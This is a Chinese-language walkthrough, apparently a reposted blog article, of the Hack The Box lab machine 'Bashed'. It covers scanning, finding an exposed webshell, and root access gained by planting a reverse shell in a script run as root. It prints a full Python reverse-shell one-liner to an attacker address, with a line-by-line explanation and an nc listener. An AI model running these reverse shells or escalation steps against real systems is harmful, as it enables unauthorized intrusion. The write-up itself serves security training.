本次write up内容是Hack The Box里machines的靶场Bashed。
1-信息收集
首先进行端口扫描,发现开放了80端口
访问WEB界面查看内容
2-目录扫描
使用Dirsearch脚本对WEB进行目录遍历
扫描后发现WEB存在目录遍历
点击phpbash.min.php发现存在一个可执行的webshell
3-反弹shell
可以将这个shell转发到我们的kali上进行操作
在靶机上执行以下命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.settimeout(10);s.connect(("10.10.14.2",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
【python命令解析】
import socket,subprocess,os
#导入python socket、subprocess、os库
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#使用socket函数创建一个套接字,AF_INET表示是一个IPv4的套接字,SOCK_STREAM表示使用TCP流式socket
s.settimeout(10)
#控制时延,防止因为国内访问国外过高的延时导致tcp不能建立连接
s.connect(("10.10.14.2",4444))
#连接到10.10.14.2:4444处的套接字
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
#os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。
#而fileno()函数就是返回一个文件的文件描述符
#在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr
#所以上面的函数作用就是把stdin,stdout,stderr的内容替换为套接字返回的内容,所以在本机nc监听就会创建一个套接字进程,使得在本地输入的内容就直接作为宿主机的stdin,stdout的内容也会在本地显示
import pty;
pty.spawn("/bin/bash")
在攻击机kali上监听端口
nc -vlnp 4444
成功连接获取到权限
查看当前用户权限为www-data
拿到第一个FLAG
4-权限提升
输入 sudo -l 查看授权的进程
发现一个可以无需密码登录的账号scriptmanager
尝试登录该账号
sudo -u scriptmanager /bin/bash
进入到scripts目录下查看文件内容
发现有test.txt和test.py两个文件
查看test.py的源码内容,是一段python文件的打开,关闭,读写的代码
f=open("test.txt","w") f.write("testing 123!") f.close
#open函数打开text.txt文件,若该文件不存在则创建一个text.txt的文件,w表示写入
# write()函数用于向文件中写入指定字符串
# f.close当打开文件进行所有想要的操作后,必须要进行关闭文件,占内存。
通过查看文件的权限发现,scriptmanager用户拥有test.py文件,test.txt文件会以root权限执行
提权的思路为,将反弹shell的命令写入到test.py文件中,让txt文件转发出具有root权限的shell
进行提权,和第一次转发shell操作一样,再转发一次,输入以下命令,端口号改为5555
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.settimeout(10);s.connect(("10.10.14.2",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' /scripts/test.py
同时kali监听5555端口
成功获取到root权限
直接查看root目录下的root.txt文件
获取到最终FLAG
成功提交
原文始发于微信公众号(Matrix1024):HTB靶场系列之Bashed通关攻略
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论